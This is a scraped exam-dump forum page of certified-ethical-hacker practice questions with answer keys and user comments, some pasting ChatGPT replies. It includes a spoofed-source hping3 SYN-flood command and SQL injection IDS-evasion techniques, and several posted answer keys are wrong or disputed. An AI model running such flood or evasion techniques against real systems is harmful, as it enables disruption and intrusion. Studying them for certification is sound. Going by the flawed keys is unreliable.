✉️ 🚩 qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

Is C. key word  
" implement encryption for both data-at-rest and data-in-transit"  
upvoted 1 times

✉️ 🚩 DruSuperman 6 months, 4 weeks ago

Selected Answer: A

I think this addresses it. From Module 3 PG 391  
To maximize network security, use strong encryption for all traffic placed on transmission media without considering its type and location. This is the best method to prevent IP spoofing attacks. IPsec can be used to drastically reduce the IP spoofing risk, as it provides data authentication, integrity, and confidentiality.  
upvoted 1 times

✉️ 🚩 anarchyeagle 7 months ago

Selected Answer: A

Chat GPT:

Implement IPsec in addition to SSL/TLS: IPsec (Internet Protocol Security) is a protocol suite for securing Internet Protocol (IP) communications by authenticating and encrypting each IP packet of a communication session. IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to be used during the session. IPsec can be used in conjunction with SSL/TLS to provide an additional layer of security that includes integrity checks, ensuring that data has not been tampered with during transmission. This approach adds another layer of security that operates at a different layer of the network stack, providing comprehensive protection for data in transit.

upvoted 3 times

✉️ 🚩 John07 5 months, 4 weeks ago

How did you "implement encryption for both data-at-rest and data-in-transit" using IPsec and SSL/TLS ?

upvoted 1 times

✉️ 🚩 evilrabbit 5 months, 2 weeks ago

The key phrase here is "a mechanism to detect if the data was tampered with during transmission", so the correct answer is A

upvoted 1 times

✉️ 🚩 JR22craft 7 months, 1 week ago

Selected Answer: C

C. Encrypt data using the AES algorithm before transmission.

IPSec is redundant  
upvoted 1 times

✉️  misolchang 7 months, 1 week ago

Selected Answer: C

ChatGPT said:

Given these options, the most suitable choice for ensuring both confidentiality and integrity during data transmission is:

C. Encrypt data using the AES algorithm before transmission.

To ensure data integrity, you can also incorporate a message authentication code (MAC) or a digital signature along with AES encryption. This way, you'll have both encryption for confidentiality and a mechanism for detecting tampering during transmission.

upvoted 2 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: C

C. To address data integrity, it is common to use encryption in combination with message authentication codes (MAC) or hash functions. In this case, encrypting the data using the AES algorithm before transmission and incorporating a mechanism for verifying the integrity of the data (such as using a HMAC - Hash-based Message Authentication Code) would help detect if the data was tampered with during transmission.

Options A, B, and D do not specifically address the need for integrity checking during transmission:

- A. Implement IPsec in addition to SSL/TLS: IPsec is used for network layer security and could be redundant when SSL/TLS is already in place.
- B. Switch to using SSH for data transmission: While SSH provides encryption and integrity checking, it may not be the best choice for application-level data transmission, especially in a cloud environment.
- D. Use the cloud service provider's built-in encryption services: it may not be sufficient for ensuring integrity during data transmission unless combined with an appropriate integrity verification mechanism.

upvoted 3 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: A

A. Implement IPsec in addition to SSL/TLS.

upvoted 3 times

✉️  LeongCC 7 months, 1 week ago

Agree!

upvoted 3 times

Sarah, a system administrator, was alerted of potential malicious activity on the network of her company. She discovered a malicious program spread through the instant messenger application used by her team. The attacker had obtained access to one of her teammate's messenger accounts and started sending files across the contact list. Which best describes the attack scenario and what measure could have prevented it?

- A. Insecure Patch Management; updating application software regularly
- B. Instant Messenger Applications; verifying the sender's identity before opening any files
- C. Rogue/Decoy Applications; ensuring software is labeled as TRUSTED
- D. Portable Hardware Media/Removable Devices; disabling Autorun functionality

Correct Answer: **B**

*Community vote distribution*

B (58%)

A (42%)

✉️  **GK2205** 2 months, 1 week ago

Selected Answer: B

Seems like a trick question given the sender was technically already a "Trusted" third party to the contacts on the other teammates list. However, if you read the answers closely, the only contextual reference to instant messenger is B. The trick in the question is in the section after "Instant Messenger applications" referring to Validation, I think they do this to deliberately throw you off.

upvoted 1 times

✉️  **LoveBug4** 3 months ago

Selected Answer: B

Module 7, page 948

upvoted 1 times

✉️  **Bas375** 5 months, 2 weeks ago

B - Opening files from unknown source should be verified e.g. the attacker that compromise the account if that make sense

upvoted 1 times

✉️  **LordXander** 6 months ago

Selected Answer: B

Okay, I will be the one saying C..I know...it might be stupid/wrong but hear me out.

So, after some discussions with a few cyber experts, we agreed that both B and C could be the correct options, it really depends on your angle. For option B, the arguments is that the verification could be something set, server side, such as a 2FA(you send a file, you must auth with 2FA) -> valid idea, a bit uncommon, but valid

For option C - the idea of having files scanned before being sent by different solutions and then marked as TRUSTED is another way of approaching this since 2FA can be bypassed (looking at MS).

So after even more deliberations, if I had this question, I would go with option B as it covers more ground (software fails, but an email protection service fails more often than 2FA)

upvoted 1 times

✉️  **DruSuperman** 6 months, 4 weeks ago

Selected Answer: B

B is the only one that makes sense.

upvoted 1 times

✉️  **duke\_of\_kamulu** 6 months, 2 weeks ago

from 126 upward is it the real exam

upvoted 1 times

✉️  **qtygbapjpesdayazko** 6 months, 2 weeks ago

B is the only one that makes sense.

This is the way

upvoted 1 times

✉️  **anarchyeagle** 7 months ago

Chat GPT:

Verifying the sender's identity before opening any files is a crucial preventive measure in this context. This can involve double-checking with the sender through a different communication channel before opening unexpected files or links, even if they appear to come from someone you know. This measure helps to mitigate the risk of similar attacks by ensuring that the files or links are genuinely intended and safe to open.

upvoted 2 times

✉️  calx5 7 months, 1 week ago

Selected Answer: A

Question mentioned that account was compromised

upvoted 1 times

✉️  Lalo 6 months, 1 week ago

Answer BBBB BBBB

option B is correct because it focuses on a direct and relevant preventive measure for the given scenario, while option A does not address the specific problem presented in the attack scenario.

upvoted 1 times

✉️  przemyslaw1 7 months, 1 week ago

Selected Answer: B

B. Instant Messenger Applications; verifying the sender's identity before opening any files

CEH book, Module 7 - Different Ways for Malware to Enter a System.

upvoted 2 times

✉️  ryotan 7 months, 2 weeks ago

Selected Answer: A

It should not be B, as the attacker obtained access to one of the teammate's messenger accounts, so even if you verify the sender's identity, it is no a fake account, it does not help.

A is the option for me.

upvoted 4 times

✉️  Lalo 6 months, 1 week ago

Answer BBBB BBBB

option B is correct because it focuses on a direct and relevant preventive measure for the given scenario, while option A does not address the specific problem presented in the attack scenario.

upvoted 1 times

✉️  athicalacker 7 months, 1 week ago

How can regular software update prevent an attack that exploits user trust?? The answer can't be Option A.

upvoted 3 times

✉️  Mabrow 7 months, 1 week ago

how about C?, any program send with messenger must be trusted

upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: B

B. Instant Messenger Applications; verifying the sender's identity before opening any files

upvoted 1 times

✉️  pechuga 7 months, 3 weeks ago

A option for me

upvoted 1 times

A multinational organization has recently faced a severe information security breach. Investigations reveal that the attacker had a high degree of understanding of the organization's internal processes and systems. This knowledge was utilized to bypass security controls and corrupt valuable resources. Considering this event, the security team is contemplating the type of attack that occurred and the steps they could have taken to prevent it. Choose the most plausible type of attack and a countermeasure that the organization could have employed:

- A. Insider attacks and the organization should have implemented robust access control and monitoring.
- B. Distribution attack and the organization could have ensured software and hardware integrity checks.
- C. Passive attack and the organization should have used encryption techniques.
- D. Active attack and the organization could have used network traffic analysis.

Correct Answer: C

*Community vote distribution*

A (100%)

✉️ GK2205 2 months, 1 week ago

Selected Answer: A

The key to this question is in:

"Investigations reveal that the attacker had a high degree of understanding of the organization's internal processes and systems. This knowledge was utilized to bypass security controls and corrupt valuable resources"

Assumption: Encryption is part of security controls

Answer: A - Because only an insider can get to this level of understanding and access. (Acknowledging that there are some very good hacker out there, but one has to assume that that level of knowledge is very, very hard to gather externally).

upvoted 1 times

✉️ LordXander 6 months ago

Selected Answer: A

Everyone is saying A, and I'm inclined to agree, but we are talking about data corruption which in itself suggests lack of encryption.

Now, an insider threat could've used a passive attack for achieving its goal, hence it could be also C. My first thought of this was A, but thinking again, and again I can see C as plausible. In the exam I would've gone with A hence I will pick A

upvoted 1 times

✉️ DruSuperman 6 months, 4 weeks ago

Selected Answer: A

Knowing internal processes, has to be A.

upvoted 1 times

✉️ ahmedalkibsy 7 months ago

A is correct

upvoted 1 times

✉️ anarchyeagle 7 months ago

Chat GPT:

Insider attacks occur when someone with authorized access to the organization's resources (an employee, contractor, or business partner) misuses their access to conduct malicious activities. The detailed knowledge of the organization's internal processes and systems, as described, suggests that the attacker was not an external party but rather someone with inside access or knowledge. Insider threats are challenging to detect because the attacker legitimately accesses the system, making their actions appear as normal activities.

upvoted 1 times

✉️ barey 7 months ago

GPT-4

A. Insider attacks and the organization should have implemented robust access control and monitoring.

The details of the breach indicating that the attacker had an in-depth understanding of the company's internal processes and systems suggest that this could have been an insider attack.

upvoted 1 times

✉️ LeongCC 7 months, 1 week ago

Selected Answer: A

It's should be the A.

Already mentioned understanding of the organization's internal processes and systems.

upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: A

Given that the attacker had a high degree of understanding of the organization's internal processes and systems, it suggests that the breach may have been facilitated by someone with insider knowledge or access.

upvoted 1 times

✉️  calx5 7 months, 1 week ago

Selected Answer: A

Insider attacks, attacker with high degree of understanding

upvoted 1 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Insider attacks and the organization should have implemented robust access control and monitoring.

upvoted 1 times

✉️  JustAName 7 months, 3 weeks ago

Should be A because "Investigations reveal that the attacker had a high degree of understanding of the organization's internal processes and systems." It is very likely that this attacker is within the organization, so insider threat.

upvoted 3 times

Question #193

Topic 1

As a security analyst for SkySecure Inc., you are working with a client that uses a multi-cloud strategy, utilizing services from several cloud providers. The client wants to implement a system that will provide unified security management across all their cloud platforms. They need a solution that allows them to consistently enforce security policies, identify and respond to threats, and maintain visibility of all their cloud resources. Which of the following should you recommend as the best solution?

- A. Use a Cloud Access Security Broker (CASB).
- B. Use a hardware-based firewall to secure all cloud resources.
- C. Implement separate security management tools for each cloud platform.
- D. Rely on the built-in security features of each cloud platform.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  LordXander 6 months ago

Selected Answer: A

The only one that makes sense

upvoted 1 times

✉️  duke\_of\_kamulu 7 months, 1 week ago

NO 2ways about it CASB

upvoted 1 times

✉️  qwerty100 7 months, 2 weeks ago

Selected Answer: A

A. Use a Cloud Access Security Broker (CASB).

upvoted 3 times

✉️  insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Use a Cloud Access Security Broker (CASB).

upvoted 2 times

As a security consultant, you are advising a startup that is developing an IoT device for home security. The device communicates with a mobile app, allowing homeowners to monitor their homes in real time. The CEO is concerned about potential Man-in-the-Middle (MitM) attacks that could allow an attacker to intercept and manipulate the device's communication. Which of the following solutions would best protect against such attacks?

- A. Use CAPTCHA on the mobile app's login screen.
- B. Implement SSL/TLS encryption for data transmission between the IoT device and the mobile app.
- C. Limit the range of the IoT device's wireless signals.
- D. Frequently change the IoT device's IP address.

Correct Answer: **B**

*Community vote distribution*

B (75%)

A (25%)

✉  prasoonmk 2 months, 3 weeks ago

B. Implement SSL/TLS encryption for data transmission between the IoT device and the mobile app.

To protect against Man-in-the-Middle (MitM) attacks, the most effective solution among the ones listed is to B. Implement SSL/TLS encryption for data transmission between the IoT device and the mobile app. This type of encryption ensures that even if an attacker intercepts the communication, they would not be able to decipher the contents, thereby preventing them from manipulating the messages.

While CAPTCHAs are useful for verifying that a user is a human, they do not encrypt data transmission. Limiting the range of the IoT device may reduce the attack surface but does not protect data that is transmitted outside that range. Changing the IoT device's IP address might obscure the device from a potential attacker but does not protect the actual data being transmitted.

upvoted 1 times

✉  LordXander 6 months ago

Selected Answer: A

If you want to get rid of MiTM, TLS is the way...the only way

upvoted 1 times

✉  LordXander 6 months ago

I meant B

upvoted 1 times

✉  insaniunt 7 months, 3 weeks ago

Selected Answer: B

B. Implement SSL/TLS encryption for data transmission between the IoT device and the mobile app.

upvoted 3 times

A Certified Ethical Hacker (CEH) is analyzing a target network. To do this, he decides to utilize an IDLE/IPID header scan using Nmap. The network analysis reveals that the IPID number increases by 2 after following the steps of an IDLE scan. Based on this information, what can the CEH conclude about the target network?

- A. The ports on the target network are open
- B. The target network has no firewall present
- C. The ports on the target network are closed
- D. The target network has a stateful firewall present

Correct Answer: D

*Community vote distribution*

A (64%)

D (36%)

✉️  **insaniunt** Highly Voted 7 months, 2 weeks ago

**Selected Answer: A**

Ok, I saw the ceh v12 book: Consequently, the IPID is increased by 2, which implies that the port on the target machine was open." - page 317  
upvoted 5 times

✉️  **GK2205** Most Recent 2 months, 1 week ago

**Selected Answer: D**

While A and D have merits, there is no mention of the use of a Zombie system to perform the testing, one has to assume the IDLE/IPID is being sent direct (Trusted CEH). Therefore the result (Which excludes the IPID incrementation of the Zombie)  
is the response of a Stateful Firewall.

upvoted 1 times

✉️  **milktea810182** 4 months, 2 weeks ago

**Selected Answer: D**

Stateful firewalls maintain information about the state of active connections, including the IPID sequence numbers. When Nmap sends probes to closed ports, the firewall generates ICMP error messages in response to those probes. These ICMP error messages trigger changes in the IPID sequence number, causing it to increase by 2 for each probe. This behavior is a result of the firewall's response mechanism, indicating the presence of a stateful firewall on the target network.

Therefore, the correct conclusion the CEH can draw about the target network based on the observed behavior is that the target network has a stateful firewall present.

upvoted 1 times

✉️  **LordXander** 6 months ago

**Selected Answer: A**

I would go with A as the documentation for Module 3, page 317 (not 217) says that. Also, reading the nmap documentation suggested A with some further insights in why it could be D

upvoted 1 times

✉️  **Spam\_Protection** 6 months, 3 weeks ago

**Selected Answer: A**

Module 3 Page 217

Send a SYN+ACK packet to the zombie, and it responds with an RST packet containing the IPID. Assuming that the port on the target was open and that the zombie has already sent an RST packet to the target, the IPID number is increased by 1. Now, the zombie responds with an RST packet to the attacker using its next IPID, i.e., 31339 (X + 2). Consequently, the IPID is increased by 2, which implies that the port on the target machine was open. Thus, using an idle scan, an attacker can identify the open ports and services on the target machine by spoofing their IP address with a zombie's IP address.

upvoted 1 times

✉️  **brrbrr** 7 months, 1 week ago

**Selected Answer: D**

The IDLE/IPID header scan is a technique used to identify the presence of a stateful firewall. In this scan, if the IPID number increases by 2 for each successive probe, it indicates that the system is using a stateful firewall.

upvoted 2 times

✉️  **przemyslaw1** 7 months, 2 weeks ago

**Selected Answer: A**

An IPID increased by 2 will indicate an open port, whereas an IPID increased by 1 will indicate a closed port

upvoted 2 times

✉️ insaniunt 7 months, 3 weeks ago

Selected Answer: D

- D. The target network has a stateful firewall present

In an IDLE/IPID header scan using Nmap, the scanning technique relies on the behavior of the IPID (IP Identification) field in IP headers. In a normal scan, the IPID field typically increments by 1 for each packet sent. However, in the presence of a stateful firewall that performs packet normalization, the IPID might increase by a different value.

If the IPID number increases by 2 after performing the IDLE/IPID header scan, it suggests that the target network has a stateful firewall present. This behavior occurs because the firewall is manipulating the IPID field in a way that deviates from the normal incrementation observed in the absence of such a firewall.

upvoted 1 times

✉️ qwerty100 7 months, 3 weeks ago

- A. The ports on the target network are open  
<https://nmap.org/book/idlescan.html>

upvoted 1 times

Question #196

Topic 1

You have been given the responsibility to ensure the security of your school's web server. As a step towards this, you plan to restrict unnecessary services running on the server. In the context of web server security, why is this step considered important?

- A. Unnecessary services eat up server memory; save memory resources.
- B. Unnecessary services could contain vulnerabilities; minimize the attack surface.
- C. Unnecessary services reveal server software; hide software details.
- D. Unnecessary services slow down the server; optimize server speed.

Correct Answer: B

*Community vote distribution*

B (100%)

✉️ prasoonmk 2 months, 3 weeks ago

- B. Unnecessary services could contain vulnerabilities; minimize the attack surface.

Minimizing the number of services running on a web server is a crucial step in securing the system against potential cyber-attacks. Unnecessary services could contain vulnerabilities that might be exploited by attackers to gain unauthorized access or cause disruption.

Thus, the primary response to the question at hand is that by limiting these services, we effectively reduce the server's attack surface. This enhances the overall performance and stability of the server environment in addition to helping to block possible entry points for bad actors.

Considering the continuous evolution of cyber threats, up-to-date security infrastructure is mandatory, further stressing the necessity to reduce unnecessary services.

upvoted 1 times

✉️ LordXander 6 months ago

Selected Answer: B

Is B, the answer is literally in your face :))

upvoted 1 times

✉️ insaniunt 7 months, 3 weeks ago

Selected Answer: B

- B. Unnecessary services could contain vulnerabilities; minimize the attack surface.

upvoted 2 times

✉️ JustAName 7 months, 3 weeks ago

B, while A is correct as well, but we are suppose to think from a cyber security specialist's perspective. Therefore B is the most accurate answer in this case.

upvoted 2 times

An ethical hacker is hired to evaluate the defenses of an organization's database system which is known to employ a signature-based IDS. The hacker knows that some SQL Injection evasion techniques may allow him to bypass the system's signatures. During the operation, he successfully retrieved a list of usernames from the database without triggering an alarm by employing an advanced evasion technique. Which of the following could he have used?

- A. Utilizing the char encoding function to convert hexadecimal and decimal values into characters that pass-through SQL engine parsing
- B. Implementing sophisticated matches such as "OR john' = 'john" in place of classical matches like "OR 1=1"
- C. Manipulating white spaces in SQL queries to bypass signature detection
- D. Using the URL encoding method to replace characters with their ASCII codes in hexadecimal form

Correct Answer: A

*Community vote distribution*

|         |         |     |
|---------|---------|-----|
| A (56%) | C (33%) | 11% |
|---------|---------|-----|

✉️  LordXander 6 months ago

I would definitely say A.

B - boolean based SQL, is part of pretty much any decent IDS

C - plausible but personally, I saw that usage of custom characters might get it bypassed for a WAF.

D - is like A but you need something that can be read by SQL engine

upvoted 1 times

✉️  DIINESSH 6 months ago

Selected Answer: B

ChatGPT says : B. Implementing sophisticated matches such as "OR 'john'='john'" allows the hacker to bypass signature-based detection systems that may only be looking for classical SQL injection patterns like "OR 1=1". By using more complex and varied syntax, the hacker can evade detection.

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: A

Utilizing the char encoding function to convert hexadecimal and decimal values into characters

upvoted 1 times

✉️  przemyslaw1 7 months, 1 week ago

Selected Answer: A

A. Utilizing the char encoding...

upvoted 2 times

✉️  insanint 7 months, 2 weeks ago

Selected Answer: A

Char Encoding: an attacker can encode a common injection variable present in the input string to avoid detection in the signature of network security measures. This char() function converts hexadecimal and decimal values into characters that can easily pass through SQL engine parsing. The char() function can be used for SQL injection into MySQL without double quotes - Module 15 Page 2324

upvoted 2 times

✉️  Nopez 7 months, 2 weeks ago

Selected Answer: C

C. Manipulating white spaces in SQL queries to bypass signature detection

upvoted 3 times

✉️  Lalo 6 months, 1 week ago

Answer AAAAAAAA

Since only a signature-based IDS system is used, the best form of attack would be to use the technique that is least likely to be detected by the IDS signatures. In this case, the most effective method would probably be to use the CHAR encoding function to convert hexadecimal and decimal values into characters that pass the SQL engine's analysis.

The main reason is that signature-based IDS systems tend to look for specific known patterns associated with known attacks. If the IDS is not configured to recognize CHAR encoding as an indicator of possible SQL injection, the attack is more likely to go undetected.

Additionally, whitespace manipulation in SQL queries might be more easily detected by the IDS if it is configured to look for unusual whitespace patterns in SQL queries.

Therefore, in this scenario, using the CHAR encoding feature would be the best option to evade IDS detection and succeed in the attack.

upvoted 2 times

✉️ **xbsumz** 7 months, 2 weeks ago

Im not certain about this ethical hacking concept

upvoted 1 times

Question #198

Topic 1

As the Chief Information Security Officer (CISO) at a large university, you are responsible for the security of a campus-wide Wi-Fi network that serves thousands of students, faculty, and staff. Recently, there has been a rise in reports of unauthorized network access, and you suspect that some users are sharing their login credentials. You are considering deploying an additional layer of security that could effectively mitigate this issue. What would be the most suitable measure to implement in this context?

- A. Implement network segmentation
- B. Deploy a VPN for the entire campus
- C. Enforce a policy of regularly changing Wi-Fi passwords
- D. Implement 802.1X authentication

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ **LordXander** 6 months ago

Selected Answer: D

As it is the only one that makes sense

upvoted 1 times

✉️ **anarchyeagle** 7 months ago

Selected Answer: D

Chat GPT:

Implement 802.1X authentication: 802.1X is an IEEE Standard for port-based Network Access Control (PNAC). It provides an authentication mechanism to devices wishing to attach to a LAN or WLAN. 802.1X uses the Extensible Authentication Protocol (EAP) to exchange messages during the authentication process. By implementing 802.1X, the university can enforce strong authentication methods that go beyond just a username and password, potentially incorporating certificates or a two-factor authentication system. This can significantly reduce the risk of unauthorized access due to credential sharing, as each user's device would need to be authenticated individually. It also allows for greater control over network access on a per-user basis, making it easier to manage access rights and monitor network usage.

upvoted 1 times

✉️ **qwerty100** 7 months ago

Selected Answer: D

D. Implement 802.1X authentication

upvoted 1 times

✉️ **insaniunt** 7 months, 3 weeks ago

Selected Answer: D

D. Implement 802.1X authentication

upvoted 3 times

An ethical hacker is scanning a target network. They initiate a TCP connection by sending an SYN packet to a target machine and receiving a SYN/ACK packet in response. But instead of completing the three-way handshake with an ACK packet, they send an RST packet. What kind of scan is the ethical hacker likely performing and what is their goal?

- A. They are performing an SYN scan to stealthily identify open ports without fully establishing a connection.
- B. They are performing a network scan to identify live hosts and their IP addresses.
- C. They are performing a TCP connect scan to identify open ports on the target machine.
- D. They are performing a vulnerability scan to identify any weaknesses in the target system.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 insaniunt 7 months, 3 weeks ago

Selected Answer: A

A. They are performing an SYN scan to stealthily identify open ports without fully establishing a connection.  
upvoted 3 times

In the process of setting up a lab for malware analysis, a cybersecurity analyst is tasked to establish a secure environment using a sheep dip computer. The analyst must prepare the testbed while adhering to best practices. Which of the following steps should the analyst avoid when configuring the environment?

- A. Installing malware analysis tools on the guest OS
- B. Connecting the system to the production network during the malware analysis
- C. Simulating Internet services using tools such as INetSim
- D. Installing multiple guest operating systems on the virtual machine(s)

Correct Answer: B

*Community vote distribution*

B (100%)

✉️👤 LordXander 6 months ago

Selected Answer: B

B - the only one that makes sense

But I would love to see a forensics lab connected to production :D  
upvoted 2 times

✉️👤 insaniunt 7 months, 3 weeks ago

Selected Answer: B

B. Connecting the system to the production network during the malware analysis

When configuring a sheep dip computer for malware analysis, one should avoid connecting the system to the production network. The purpose of a sheep dip computer is to provide a controlled and isolated environment for analyzing potentially malicious software. Connecting it to the production network poses a significant security risk, as it could potentially expose the network to the analyzed malware or compromise the integrity of the production environment.

upvoted 4 times

A large e-commerce organization is planning to implement a vulnerability assessment solution to enhance its security posture. They require a solution that imitates the outside view of attackers, performs well-organized inference-based testing, scans automatically against continuously updated databases, and supports multiple networks. Given these requirements, which type of vulnerability assessment solution would be most appropriate?

- A. Inference-based assessment solution
- B. Tree-based assessment approach
- C. Product-based solution installed on a private network
- D. Service-based solution offered by an auditing firm

Correct Answer: A

*Community vote distribution*

D (88%) 13%

✉️ 🚑 LordXander 6 months ago

Selected Answer: D

I would have said A but the outside view pretty much says that it has to be a 3rd party  
upvoted 1 times

✉️ 🚑 sosindi 7 months, 1 week ago

Service - based solution. - Service based solutions are third-party solutions which offers security and auditing. This can be host either inside or outside the network. This can be a security risk of being compromised.

upvoted 1 times

✉️ 🚑 przemyslaw1 7 months, 1 week ago

Selected Answer: D

D. Service-based solution offered by an auditing firm  
upvoted 1 times

✉️ 🚑 brrbrr 7 months, 1 week ago

Selected Answer: D

A service-based solution provided by an auditing firm often includes external vulnerability assessments that mimic the perspective of an outside attacker. These services typically involve experienced security professionals who perform thorough and well-organized testing, utilize continuously updated databases of vulnerabilities, and can adapt to multiple network environments

upvoted 1 times

✉️ 🚑 insanaint 7 months, 3 weeks ago

Selected Answer: D

I was wrong...  
D. Service-based solution offered by an auditing firm

A service-based solution offered by an auditing firm, especially if hosted outside the organization's network, can provide an external perspective that imitates the outside view of attackers. Auditing firms often perform well-organized inference-based testing, continuously update their databases with the latest threat intelligence, and can support assessments across multiple networks.

upvoted 1 times

✉️ 🚑 insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Inference-based assessment solution  
upvoted 1 times

✉  **qwertyst100** 7 months, 3 weeks ago

Selected Answer: D

I think it's D  
(Module 05 Page 558)  
D. Service-based solution offered by an auditing firm  
upvoted 3 times

✉  **qtygbapjpesdayazko** 7 months ago

This is the way.

Can not be "A. Inference-based" as the scan need to be done from outside, not from the inside the host.  
upvoted 1 times

Question #202

Topic 1

During a penetration testing assignment, a Certified Ethical Hacker (CEH) used a set of scanning tools to create a profile of the target organization. The CEH wanted to scan for live hosts, open ports, and services on a target network. He used Nmap for network inventory and Hping3 for network security auditing. However, he wanted to spoof IP addresses for anonymity during probing. Which command should the CEH use to perform this task?

- A. Hping3 -1 10.0.0.25 -ICMP
- B. Hping3 -2 10.0.0.25-p 80
- C. Nmap -sS -Pn -n -vv --packet-trace -p- --script discovery -T4
- D. Hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood

Correct Answer: D

*Community vote distribution*

D (100%)

✉  **qtygbapjpesdayazko** 7 months ago

Is D-

"-a" is to spoof the IP 192.168.1.254  
upvoted 2 times

✉  **JustAName** 7 months, 2 weeks ago

Selected Answer: D

D "--flood" syntax is used for spoofing ip address when performing scans  
upvoted 2 times

✉  **xbsumz** 7 months, 2 weeks ago

I'm a bit hesitant about the effectiveness of this CEH technique  
upvoted 1 times

✉  **insaniunt** 7 months, 2 weeks ago

Selected Answer: D

D. Hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood  
upvoted 2 times

An ethical hacker is hired to conduct a comprehensive network scan of a large organization that strongly suspects potential intrusions into their internal systems. The hacker decides to employ a combination of scanning tools to obtain a detailed understanding of the network. Which sequence of actions would provide the most comprehensive information about the network's status?

- A. Use Hping3 for an ICMP ping scan on the entire subnet, then use Nmap for a SYN scan on identified active hosts, and finally use Metasploit to exploit identified vulnerabilities.
- B. Start with Hping3 for a UDP scan on random ports, then use Nmap for a version detection scan, and finally use Metasploit to exploit detected vulnerabilities.
- C. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3.
- D. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting.

Correct Answer: A

*Community vote distribution*

D (60%)

C (40%)

✉  qtygbapjpesdayazko 7 months ago

Selected Answer: D

D. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting.

the key word is "network's status" and not exploit vulns or attack the network.

upvoted 1 times

✉  przemyslaw1 7 months, 2 weeks ago

Selected Answer: D

D. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting.

upvoted 2 times

✉  Unr34l 7 months, 2 weeks ago

D. Initiate with Nmap for a ping sweep, then use Metasploit to scan for open ports and services, and finally use Hping3 to perform remote OS fingerprinting.

Explanation:

The most comprehensive sequence of actions for obtaining detailed information about the network's status involves using various tools for different purposes. The recommended sequence is:

Nmap for a ping sweep: This helps identify live hosts on the network.

Metasploit to scan for open ports and services: This provides information about the services running on the identified hosts.

Hping3 to perform remote OS fingerprinting: This helps in determining the operating system of the target hosts based on their responses.

Option D outlines this sequence of actions, making it the most appropriate for obtaining comprehensive information about the network's status.

upvoted 3 times

✉  xbsumz 7 months, 2 weeks ago

Im not certain about this ethical hacking concept

upvoted 1 times

✉  insaniumt 7 months, 2 weeks ago

Selected Answer: C

C. Begin with NetScanTools Pro for a general network scan, then use Nmap for OS detection and version detection, and finally perform an SYN flooding with Hping3.

because of the question "Which sequence of actions would provide the most comprehensive information about the network's status?" and de A alternative talk about exploit (???)

upvoted 2 times

While working as an intern for a small business, you have been tasked with managing the company's web server. The server is being bombarded with requests, and the company's website is intermittently going offline. You suspect that this could be a Distributed Denial of Service (DDoS) attack. As an ethical hacker, which of the following steps would be your first course of action to mitigate the issue?

- A. Contact your Internet Service Provider (ISP) for assistance
- B. Install a newer version of the server software
- C. Implement IP address whitelisting
- D. Increase the server's bandwidth

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  g\_man\_rap 5 months ago

Why not D?

upvoted 1 times

✉️  Unr34l 7 months, 2 weeks ago

A. Contact your Internet Service Provider (ISP) for assistance

In the case of a potential Distributed Denial of Service (DDoS) attack, contacting your Internet Service Provider (ISP) is a crucial first step. ISPs often have tools and measures in place to detect and mitigate DDoS attacks before the traffic reaches your network.

upvoted 1 times

✉️  insaniunt 7 months, 2 weeks ago

Selected Answer: A

A. Contact your Internet Service Provider (ISP) for assistance

upvoted 2 times

✉️  ryotan 7 months, 3 weeks ago

Why not "whitelisting"?

upvoted 1 times

✉️  anarchyeagle 7 months ago

It's a webserver. Meaning it's designed to accept users from the entire WWW. Whitelisting requires you know what IP addresses should be accessing your server. You essentially want anyone to be able to access your webserver(website) hence you can't say only allow these 100 ip addresses. Blacklisting might be more acceptable here but still impractical

upvoted 1 times

As a cybersecurity consultant, you are working with a client who wants to migrate their data to a Software as a Service (SaaS) cloud environment. They are particularly concerned about maintaining the privacy of their sensitive data, even from the cloud service provider. Which of the following strategies would best ensure the privacy of their data in the SaaS environment?

- A. Implement a Virtual Private Network (VPN) for accessing the SaaS applications.
- B. Rely on the cloud service provider's built-in security features.
- C. Encrypt the data client-side before uploading to the SaaS environment and manage encryption keys independently.
- D. Use multi-factor authentication for all user accounts accessing the SaaS applications

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  **qwerty100** 7 months ago

Selected Answer: C

C. Encrypt the data client-side before uploading to the SaaS environment and manage encryption keys independently.  
upvoted 1 times

✉️  **Unr34l** 7 months, 2 weeks ago

C. Encrypt the data client-side before uploading to the SaaS environment and manage encryption keys independently.

Encrypting the data client-side before uploading it to the SaaS environment and managing encryption keys independently provides an additional layer of security and privacy. This approach ensures that even if the data is stored in the cloud, it remains encrypted, and the client retains control over the encryption keys. This way, the cloud service provider has limited visibility into the actual content of the data, enhancing the privacy and security of sensitive information.

upvoted 3 times

✉️  **xbsumz** 7 months, 2 weeks ago

Team can you confirm if this is accurate  
upvoted 1 times

An ethical hacker is performing a network scan to evaluate the security of a company's IT infrastructure. During the scan, he discovers an active host with multiple open ports running various services. The hacker uses TCP communication flags to establish a connection with the host and starts communicating with it. He sends a SYN packet to a port on the host and receives a SYN/ACK packet back. He then sends an ACK packet for the received SYN/ACK packet, which triggers an open connection. Which of the following actions should the ethical hacker perform next?

- A. Send a PSH packet to inform the receiving application about the buffered data.
- B. Conduct a vulnerability scan on the open port to identify any potential weaknesses.
- C. Scan another port on the same host using the SYN, ACK, and RST flags.
- D. Send a FIN or RST packet to close the connection.

Correct Answer: D

*Community vote distribution*

D (55%)      B (45%)

✉  azdan 3 weeks, 4 days ago

Selected Answer: D

